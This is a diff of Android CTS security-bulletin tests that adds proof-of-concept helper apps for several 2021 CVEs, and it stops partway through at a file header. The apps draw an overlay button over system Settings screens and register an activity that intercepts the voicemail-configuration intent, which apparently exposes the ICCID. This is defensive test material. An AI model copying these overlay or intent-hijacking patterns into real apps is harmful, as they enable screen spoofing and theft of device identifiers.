Gravity.LEFT | Gravity.TOP; + mLayoutParams.width = getScreenWidth(); + mLayoutParams.height = getScreenHeight(); + mLayoutParams.x = getScreenWidth() / 2; + mLayoutParams.y = getScreenHeight() / 2; + } + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + showFloatingWindow(); + return super.onStartCommand(intent, flags, startId); + } + + @Override + public void onDestroy() { + if (mWindowManager != null && mButton != null) { + mWindowManager.removeView(mButton); + } + super.onDestroy(); + } + + private void showFloatingWindow() { + Context context = getApplicationContext(); + assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg), + Settings.canDrawOverlays(getApplicationContext())); + mButton = new Button(getApplicationContext()); + mButton.setText(context.getString(R.string.overlayButtonText)); + mWindowManager.addView(mButton, mLayoutParams); + mButton.setTag(mButton.getVisibility()); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp index a105e840158..7ff13699738 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp @@ -21,18 +21,17 @@ package { android_test_helper_app { name: "CVE-2021-0523", - srcs: [ - "src/android/security/cts/CVE_2021_0523/PocActivity.java", - "src/android/security/cts/CVE_2021_0523/PocService.java", - ], + defaults: ["cts_support_defaults"], + srcs: ["src/**/*.java"], test_suites: [ "cts", "vts10", "sts", - "general-tests", ], - sdk_version: "system_current", static_libs: [ - "androidx.test.ext.junit", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + "androidx.test.core", ], + sdk_version: "current", } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml index 594e42765e8..e21b9b700fd 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml @@ -20,24 +20,30 @@ android:versionName="1.0"> <uses-permission android:name="android.permission.FOREGROUND_SERVICE" /> - <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> - <uses-permission android:name="android.permission.WAKE_LOCK" /> + <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" /> <application android:allowBackup="true" android:label="CVE-2021-0523" android:supportsRtl="true"> + <uses-library android:name="android.test.runner" /> <service android:name=".PocService" android:enabled="true" android:exported="false" /> - <activity android:name=".PocActivity"> + <activity android:name=".PocActivity" + android:exported="true" + android:taskAffinity="android.security.cts.cve_2021_0523.PocActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.cve_2021_0523" /> </manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml new file mode 100644 index 00000000000..dcdbe0aa788 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml @@ -0,0 +1,19 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<resources> + <string name="overlay_button">OverlayButton</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java new file mode 100644 index 00000000000..e0fc3370936 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java @@ -0,0 +1,107 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.cve_2021_0523; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.provider.Settings; +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.Until; +import java.io.IOException; +import java.util.regex.Pattern; +import org.junit.Before; +import org.junit.runner.RunWith; +import org.junit.Test; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNull; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + private static final String TEST_PKG = "android.security.cts.cve_2021_0523"; + private static final String TEST_PKG_WIFI = "com.android.settings"; + private static final int LAUNCH_TIMEOUT_MS = 20000; + private UiDevice mDevice; + String activityDump = ""; + + private void startOverlayService() { + Context context = getApplicationContext(); + if (Settings.canDrawOverlays(getApplicationContext())) { + Intent intent = new Intent(getApplicationContext(), PocService.class); + context.startService(intent); + } else { + try { + Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + context.startActivity(intent); + } catch (Exception e) { + e.printStackTrace(); + } + } + } + + @Before + public void startMainActivityFromHomeScreen() { + mDevice = UiDevice.getInstance(getInstrumentation()); + Context context = getApplicationContext(); + assertNotNull(context); + PackageManager packageManager = context.getPackageManager(); + assertNotNull(packageManager); + final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG); + assertNotNull(intent); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + /* Start the launcher activity */ + context.startActivity(intent); + /* Wait for the WifiScanModeActivity */ + if (!mDevice.wait(Until.hasObject(By.pkg(TEST_PKG_WIFI).depth(0)), LAUNCH_TIMEOUT_MS)) { + return; + } + /* Start the overlay service */ + startOverlayService(); + } + + @Test + public void testOverlayButtonPresence() { + Pattern pattern = Pattern.compile( + getApplicationContext().getResources().getString(R.string.overlay_button), + Pattern.CASE_INSENSITIVE); + BySelector selector = By.text(pattern); + /* Wait for an object of the overlay window */ + if (!mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) { + return; + } + /* Check if the currently running activity is WifiScanModeActivity */ + try { + activityDump = mDevice.executeShellCommand("dumpsys activity"); + } catch (IOException e) { + throw new RuntimeException("Could not execute dumpsys activity command"); + } + Pattern activityPattern = Pattern.compile("mResumedActivity.*WifiScanModeActivity.*\n"); + if (!activityPattern.matcher(activityDump).find()) { + return; + } + String message = "Device is vulnerable to b/174047492 hence any app with " + + "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen"; + assertNull(message, mDevice.findObject(selector)); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java index 0ba69f5bc8f..3e35266716d 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocActivity.java @@ -17,61 +17,22 @@ package android.security.cts.cve_2021_0523; import android.app.Activity; +import android.content.ActivityNotFoundException; import android.content.Intent; -import android.content.Context; import android.net.wifi.WifiManager; -import android.os.Build; import android.os.Bundle; -import android.os.PowerManager; -import android.os.PowerManager.WakeLock; -import android.provider.Settings; public class PocActivity extends Activity { - private WakeLock mScreenLock; - private Context mContext; - - private void startOverlayService() { - if (Settings.canDrawOverlays(this)) { - Intent intent = new Intent(PocActivity.this, PocService.class); - startService(intent); - } else { - try { - Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION); - startActivityForResult(intent, 1); - } catch (Exception e) { - e.printStackTrace(); - } - } - } - - private void stopOverlayService() { - Intent intent = new Intent(PocActivity.this, PocService.class); - stopService(intent); - } @Override protected void onCreate(Bundle savedInstanceState) { - mContext = this.getApplicationContext(); - PowerManager pm = mContext.getSystemService(PowerManager.class); - mScreenLock = pm.newWakeLock( - PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP, - "PocActivity"); - mScreenLock.acquire(); - try { - Thread.sleep(6000); - } catch (Exception e) { - e.printStackTrace(); - } super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); - startOverlayService(); Intent intent = new Intent(WifiManager.ACTION_REQUEST_SCAN_ALWAYS_AVAILABLE); - startActivityForResult(intent, 2); - } - - @Override - protected void onDestroy() { - super.onDestroy(); - mScreenLock.release(); + try { + startActivity(intent); + } catch (ActivityNotFoundException e) { + // do nothing + } } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java index bef2beb81ed..9b013b85944 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/PocService.java @@ -84,9 +84,8 @@ public class PocService extends Service { private void showFloatingWindow() { if (Settings.canDrawOverlays(this)) { mButton = new Button(getApplicationContext()); - mButton.setBackgroundColor(Color.parseColor("#BEBEBE")); // R-BE G-BE B-BE + mButton.setText(getResources().getString(R.string.overlay_button)); mWindowManager.addView(mButton, mLayoutParams); - mButton.setOnTouchListener(new FloatingOnTouchListener()); new Handler().postDelayed(new Runnable() { @Override public void run() { @@ -96,25 +95,4 @@ public class PocService extends Service { mButton.setTag(mButton.getVisibility()); } } - - private static class FloatingOnTouchListener implements View.OnTouchListener { - - @Override - public boolean onTouch(View view, MotionEvent event) { - view.setDrawingCacheEnabled(true); - view.buildDrawingCache(); - Bitmap bitmap = view.getDrawingCache(); - int pixel = bitmap.getPixel(getScreenWidth() / 2, getScreenHeight() / 2); - int red = Color.red(pixel); - int green = Color.green(pixel); - int blue = Color.blue(pixel); - view.setDrawingCacheEnabled(false); - if ((red == 0xBE) && (green == 0xBE) && (blue == 0xBE)) { - throw new RuntimeException( - "Device is vulnerable to b/174047492 hence any app with " + - "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen"); - } - return false; - } - } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java index 73c8e10e005..3ffb7df9664 100644 --- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java @@ -16,30 +16,34 @@ package android.security.cts.cve_2021_0586; +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.fail; + import android.content.Context; import android.content.Intent; import android.content.pm.PackageManager; import android.net.Uri; + import androidx.test.runner.AndroidJUnit4; import androidx.test.uiautomator.By; import androidx.test.uiautomator.BySelector; import androidx.test.uiautomator.UiDevice; import androidx.test.uiautomator.Until; -import java.io.IOException; -import java.util.regex.Pattern; + import org.junit.Before; -import org.junit.runner.RunWith; import org.junit.Test; +import org.junit.runner.RunWith; -import static androidx.test.core.app.ApplicationProvider.getApplicationContext; -import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; -import static org.junit.Assert.assertNotNull; +import java.io.IOException; +import java.util.regex.Pattern; @RunWith(AndroidJUnit4.class) public class DeviceTest { private static final String TEST_PKG = "android.security.cts.cve_2021_0586"; - private static final String TEST_PKG_BT = "com.android.settings"; private static final int LAUNCH_TIMEOUT_MS = 20000; + private Pattern overlayTextPattern; private UiDevice mDevice; String activityDump = ""; @@ -68,26 +72,29 @@ public class DeviceTest { final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG); assertNotNull(intent); intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + /* Start the launcher activity */ context.startActivity(intent); - Pattern pattern = Pattern.compile( + overlayTextPattern = Pattern.compile( getApplicationContext().getResources().getString(R.string.overlay_button), Pattern.CASE_INSENSITIVE); + } + + @Test + public void testOverlayButtonPresence() { /* Wait for the overlay window */ - if (!mDevice.wait(Until.hasObject(By.text(pattern).depth(0)), LAUNCH_TIMEOUT_MS)) { + if (!mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)) { return; } + /* Start the DevicePickerActivity */ startDevicePickerActivity(); - } - @Test - public void testOverlayButtonPresence() { - BySelector selector = By.pkg(TEST_PKG_BT); - /* Wait for an object of DevicePickerActivity */ - if (mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) { + /* Wait until the object of launcher activity is gone */ + if (mDevice.wait(Until.gone(By.pkg(TEST_PKG)), LAUNCH_TIMEOUT_MS)) { return; } + /* Check if the currently running activity is DevicePickerActivity */ try { activityDump = mDevice.executeShellCommand("dumpsys activity"); @@ -98,8 +105,10 @@ public class DeviceTest { if (!activityPattern.matcher(activityDump).find()) { return; } + + /* Failing the test as fix is not present */ String message = "Device is vulnerable to b/182584940 hence any app with " + "SYSTEM_ALERT_WINDOW can overlay the Bluetooth DevicePickerActivity screen"; - assertNotNull(message, mDevice.findObject(selector)); + fail(message); } } diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp new file mode 100644 index 00000000000..770b5a2089e --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp @@ -0,0 +1,33 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +android_test_helper_app { + name: "CVE-2021-0642", + defaults: [ + "cts_support_defaults", + ], + srcs: ["src/**/*.java"], + test_suites: [ + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml new file mode 100644 index 00000000000..fadda577403 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml @@ -0,0 +1,44 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.cve_2021_0642" + android:versionCode="1" + android:versionName="1.0"> + <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" /> + <application + android:allowBackup="true" + android:label="CVE-2021-0642" + android:supportsRtl="true"> + + <activity + android:name=".PocActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN" /> + <category android:name="android.intent.category.LAUNCHER" /> + </intent-filter> + <intent-filter> + <action android:name="android.telephony.action.CONFIGURE_VOICEMAIL" /> + <category android:name="android.intent.category.DEFAULT" /> + </intent-filter> + </activity> + </application> + + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.cve_2021_0642" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml new file mode 100644 index 00000000000..7460b96ae6b --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml @@ -0,0 +1,26 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + android:orientation="vertical" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:id="@+id/drawableview" + android:layout_width="match_parent" + android:layout_height="300dp" /> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java new file mode 100644 index 00000000000..8fc235ba9da --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java @@ -0,0 +1,100 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.cve_2021_0642; + +import static androidx.test.core.app.ApplicationProvider.getApplicationContext; +import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; +import static org.hamcrest.CoreMatchers.notNullValue; +import static org.junit.Assert.assertThat; +import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeTrue; + +import android.content.ActivityNotFoundException; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.telephony.TelephonyManager; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.BySelector; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.UiObject2; +import androidx.test.uiautomator.Until; + +import java.util.List; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + static final String APP_TITLE = "CVE-2021-0642"; + static final String PACKAGE_NAME = "com.android.phone"; + static final int LAUNCH_TIMEOUT_MS = 20000; + + @Test + public void testCVE_2021_0642() { + UiDevice device = UiDevice.getInstance(getInstrumentation()); + Context context = getApplicationContext(); + assertThat(context, notNullValue()); + PackageManager packageManager = context.getPackageManager(); + assertThat(packageManager, notNullValue()); + assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)); + final Intent intent = new Intent(TelephonyManager.ACTION_CONFIGURE_VOICEMAIL); + intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + try { + context.startActivity(intent); + } catch (ActivityNotFoundException e) { + assumeNoException(e); + } + + // Check if "com.android.phone" exists on the system + try { + packageManager.getPackageUid(PACKAGE_NAME, 0); + } catch (PackageManager.NameNotFoundException e) { + assumeNoException(e); + } + + // Wait for activity (which is part of package "com.android.phone") that + // handles ACTION_CONFIGURE_VOICEMAIL to get launched + boolean isVoicemailVisible = + device.wait(Until.hasObject(By.pkg(PACKAGE_NAME)), LAUNCH_TIMEOUT_MS); + + // To check if PocActivity was launched + BySelector selector = By.enabled(true); + List<UiObject2> objects = device.findObjects(selector); + boolean isPocActivityVisible = false; + for (UiObject2 o : objects) { + String visibleText = o.getText(); + if ((visibleText != null) && (visibleText.equalsIgnoreCase(APP_TITLE))) { + isPocActivityVisible = true; + break; + } + } + device.pressHome(); + + assumeTrue(isVoicemailVisible || isPocActivityVisible); + + String outputMsg = "Device is vulnerable to b/185126149 " + + "hence sensitive Iccid could be sniffed by intercepting " + + "ACTION_CONFIGURE_VOICEMAIL implicit intent"; + assertTrue(outputMsg, ((isVoicemailVisible) && (!isPocActivityVisible))); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java new file mode 100644 index 00000000000..1a335c76444 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java @@ -0,0 +1,22 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.cve_2021_0642; + +import android.app.Activity; + +public class PocActivity extends Activity { +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp new file mode 100644 index 00000000000..c4589762fe8 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp @@ -0,0 +1,40 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-0953", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "cts", + "vts10", + "sts", + ], + static_libs: [ + "androidx.test.core", + "androidx.test.rules", + "androidx.test.uiautomator_uiautomator", + ], + platform_apis: true, +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml new file mode 100644 index 00000000000..ddc942fd44a --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml @@ -0,0 +1,45 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_0953" + android:versionCode="1" + android:versionName="1.0"> + <application + android:label="CVE-2021-0953" + android:supportsRtl="true"> + <activity + android:name=".PocActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.intent.action.MAIN"/> + <category android:name="android.intent.category.LAUNCHER"/> + </intent-filter> + </activity> + <activity + android:name=".PocVulnerableActivity" + android:exported="true"> + <intent-filter> + <action android:name="android.speech.action.WEB_SEARCH"/> + <category android:name="android.intent.category.DEFAULT"/> + </intent-filter> + </activity> + </application> + <instrumentation + android:name="androidx.test.runner.AndroidJUnitRunner" + android:targetPackage="android.security.cts.CVE_2021_0953" /> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml new file mode 100644 index 00000000000..13651bd8010 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml @@ -0,0 +1,27 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + xmlns:app="http://schemas.android.com/apk/res-auto" + android:orientation="vertical" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:layout_width="match_parent" + android:layout_height="match_parent"/> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml new file mode 100644 index 00000000000..2d3268bef08 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml @@ -0,0 +1,26 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<LinearLayout + xmlns:android="http://schemas.android.com/apk/res/android" + android:layout_width="match_parent" + android:layout_height="match_parent"> + <View + android:id="@+id/pocVulnerableActivity" + android:layout_width="match_parent" + android:layout_height="match_parent"/> +</LinearLayout> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml new file mode 100644 index 00000000000..c027ecfcd78 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml @@ -0,0 +1,22 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <integer name="assumption_failure">-1</integer> + <integer name="pass">0</integer> + <integer name="fail">1</integer> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml new file mode 100644 index 00000000000..69988650620 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml @@ -0,0 +1,22 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2021 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<resources> + <string name="callback_key">testMutablePendingIntentCallback</string> + <string name="message_key">testMutablePendingIntentMessage</string> + <string name="status_key">testMutablePendingIntentStatus</string> +</resources> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java 